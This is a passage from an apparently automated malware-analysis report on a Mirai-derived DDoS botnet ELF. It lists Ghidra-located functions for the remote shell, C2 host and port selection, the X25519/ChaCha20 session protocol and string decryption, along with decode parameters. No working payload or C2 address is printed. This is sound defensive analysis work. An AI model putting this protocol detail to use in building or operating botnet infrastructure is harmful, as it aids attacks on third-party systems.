depends on ["E22"]bytes sha256 2ca29039088127b3eba72b5eab4bac32c2589016a88cba13751a9066b040420d

E26

read from the file·function

0x40aa12

in remote interactive shell over the C2, ends the remote shell session

tool ghidra 12.1.4 decompbytes sha256 48e5ae2a631173fa892d2dc840c5d3e5b668db4a1b7f2acad370e30efef34a72

E27

read from the file·function set

["0x40a57f", "0x40a86a", "0x40d2bf"]

in runs a program through pipe/fork/execve…, learns the user and home values for the…, finds the account-file entry whose uid…

tool ghidra 12.1.4 decompbytes sha256 c7aa29239aaab77c5110dea35ad7c7e7db1fa03eca6c8ff3ba0e20178fc64d1a

E28

read from the file·function

0x40b0fb

shell message frame: validated by 0x40b0b8, subtype byte at +4, big-endian u16 length at +5 (max 0x1000), payload at +7

in parses the shell message header

tool ghidra 12.1.4 decompbytes sha256 7677564592e4d5b300dbf72c5738098f09184aef7b764301f893cc6d9848376c

E29

read from the file·function set

["0x413189", "0x413aaa"]

in selects the C2 host from store slots…, picks a random C2 port from the…

tool ghidra 12.1.4 decompbytes sha256 b7337a9f86ddc2727ffe2c56d63a1e2ef31e6ed9d85edd7e9e5e5c16ad32c5cf

E30

read from the file·address range

0x4287e0

14 non-zero distinct u16 C2 ports (host order; values in out/L0/port_table.json)

in picks a random C2 port from the…

control {"check": "14 distinct non-zero u16 from exactly the 7 dwords 0x413aaa copies; index is rand % 0xe", "passed": true}bytes sha256 aa59019d4c52309b38f957fb633ff26e8ca49bd8a113ec4380503845f83cef11

E31

read from the file·function set

["0x411a32", "0x411361"]

in builds the registration record with…, derives the C2 peer X25519 public key…, C2 session hello

tool ghidra 12.1.4 decompbytes sha256 79f2984e30f6498442a0ac0796b18d27c2ff0d5e65811de00ee38c7cfc716105

E32

read from the file·function set

["0x412ad8", "0x412010"]

in chaCha20 stream cipher, used for the…, checks header type, length and sequence…, verifies a received session frame

tool ghidra 12.1.4 decompbytes sha256 17a059a5448c8f564c6828d5b34420cde7ca1cb39de5f7e90d7a9edebc02b22d

E33

read from the file·function set

["0x40c8fe", "0x40c6f4", "0x40c63d"]

in sets up the shared read-only marker page, scans per-process /proc files for a…, maps a marker fd 0x1000 bytes PROT_READ…

tool ghidra 12.1.4 decompbytes sha256 15f3ff747107249fba4b9a6d4e58321ee12d5c20e4aa1368247715a0b69d191a

E34

decoded by the analysis·analysis output

out/L0/strtable/strings.json

depends on ["E22"]bytes sha256 2ca29039088127b3eba72b5eab4bac32c2589016a88cba13751a9066b040420d

E35

decoded by the analysis·analysis output

out/L0/strtable/strings_decoded.jsonl

depends on ["E3", "E5"]control {"check": "string-likeness >= 0.9 over all census sites, plus wrong-parameter variants that must accept nothing", "passed": true, "detail": {"decoded": 461, "tried": 484, "c3_wrong_variants_tried": 3, "c3_accepted": 0, "undecoded_likeness": 23, "controls_file": "out/L0/strtable/controls.json"}}bytes sha256 eceaf7c14ba38a079484d4996b2d3238af10f08a473eea9f085390753990c0a5

E36

decoded by the analysis·analysis output

out/L0/strtable/census.json

depends on ["E2"]control {"check": "every setter call's (id, src, len) resolved to file-backed bytes", "passed": true, "detail": {"sites": 484, "setter_0x40d8fa": 473, "setter_0x40dae1": 11, "unresolved": 0, "not_file_backed": 0}}bytes sha256 a96957dd5a3d926507aad562ed960e9bde5f07f68279e97eab3040ff219926ac

E37

decoded by the analysis·analysis output

out/L0/strtable/controls.json

the 16 bytes at file offset 0x26f20 XOR 0xa5 equal the RFC 7539 ChaCha20 constant (known-plaintext check of the cipher identification); key and nonce are non-zero

depends on ["E4"]control {"check": "unmasked constant equals the RFC 7539 sigma", "passed": true, "detail": {"sigma_is_rfc7539_constant": true}}bytes sha256 8d5f74217d8a2d1675711d58efe611ec659bbf2e4c7ecb35e11f8c332410ef5d

Run details

Run

model claude-opus-5-5effort mediumduration s 34 min 43 stokens 463,220tool uses 239

Produced with

skills

research-analysis: 0cf735649e42
research-corpus: 7defa8d3b7d1
research-ledger: 7691f34d9cd1

tools

triage: 2026-09-28.1
capa: 9.4.0
floss: 3.1.1
ghidra: 12.1.4

snapshot taken at

2026-10-01 20:38:11.542859+00

Other sections of the report

Report keys this renderer has no special layout for, shown as written.

created · 2026-10-22T08:49Z

2026-10-22T08:49Z

derived artifacts · 9 items

id	of	path	transform	sha256	kind	evidence
D1	Original	out/L0/strtable/strings_decoded.jsonl	ChaCha20 (RFC 7539, key .data 0x62ba00, nonce 0x62b9e8, counter 1) over each string-store setter site	eceaf7c1…3990c0a5	decoded_strings	E35
D2	Original	out/L0/strtable/strings.json	accepted entries of D1 with table, slot id, source VA and class	2ca29039…b040420d	other	E22
D3	Original	out/L0/strtable/summary.json	counts by table, class and category over D2	98d6077b…9e9a5fd7	other	E35
D4	Original	out/L0/strtable/controls.json	decode controls: likeness, wrong-parameter variants, constant check	8d5f7421…2410ef5d	other	E37
D5	Original	out/L0/strtable/census.json	setter call-site census from the store init disassembly	a96957dd…219926ac	other	E36
D6	Original	out/L0/strtable/sites_meta.json	per-site setter arguments recovered from the init disassembly	f80d09ba…a0ed4b9a	other	E36
D7	Original	out/L0/strtable/init_disasm.txt	capstone disassembly of the store init function 0x40dba0	c42c52fb…3bb2a7e6	other	E36
D8	Original	out/L0/strtable/text_all.asm	capstone disassembly of .text used to find the setter sites	057d591f…cf93ffe7	other	E36
D9	Original	out/L0/store_hosts.json	hostname-class entries of D2 with slot ids	0b57e2fb…e36d039f	other	E24

reachability · 2 items

file	graph	internal	reached	unreached	unreached status	evidence
Original	ghidra	546	475	71	possibly_reached	E21
L0 · roots entry 1
Original	union	546	526	20	possibly_reached	E8, E19
L0 · roots entry 1 method table slots 24

limits · 1 items

file

roots searched

roots not searched

passes run

unresolved in reached code

computed sites in reached code

library filters

not claimed

syscall sites

Original

entrymethod_table

code_slot_scaninit_array

address_range_libc_0x4175f0

native_callgraph.py and dispatch_reach.py are PE-only and failed on this ELF, so no code-slot or state-table pass ran; reach is the Ghidra graph plus the 24 attack-table slots. The libc range split at 0x4175f0 is by address and syscall-wrapper shape, not by signature matching. 9 user functions stay possibly_reached. Syscall numbers in 28 cancellation-point wrapper sites are register-passed and were named from callers only for the wrappers listed in scripts/fnsys.py.

103

questions · 5 items

id	status	evidence	unknowns	note
Q1	answered	E21E2E3Original	none	one layer, a static stripped x86-64 ELF; no packing; strings ChaCha20-encrypted in a slot table
Q2	partial	B1B2B3B4B5B6B7B8B9B10B11	U2U3U4	—
Q3	partial	I2I3I13I20E18E22E24E29E30	U1U5	C2 host (slots 0-7) and its 14 ports established; other hostname slots unassigned
Q4	answered	E1, E6, E7, E8, E9, E10, E26	none	malicious DDoS botnet payload with a remote shell, Mirai derivative, 0.55
Q5	partial	E19	U1U2U3U4U5U6	—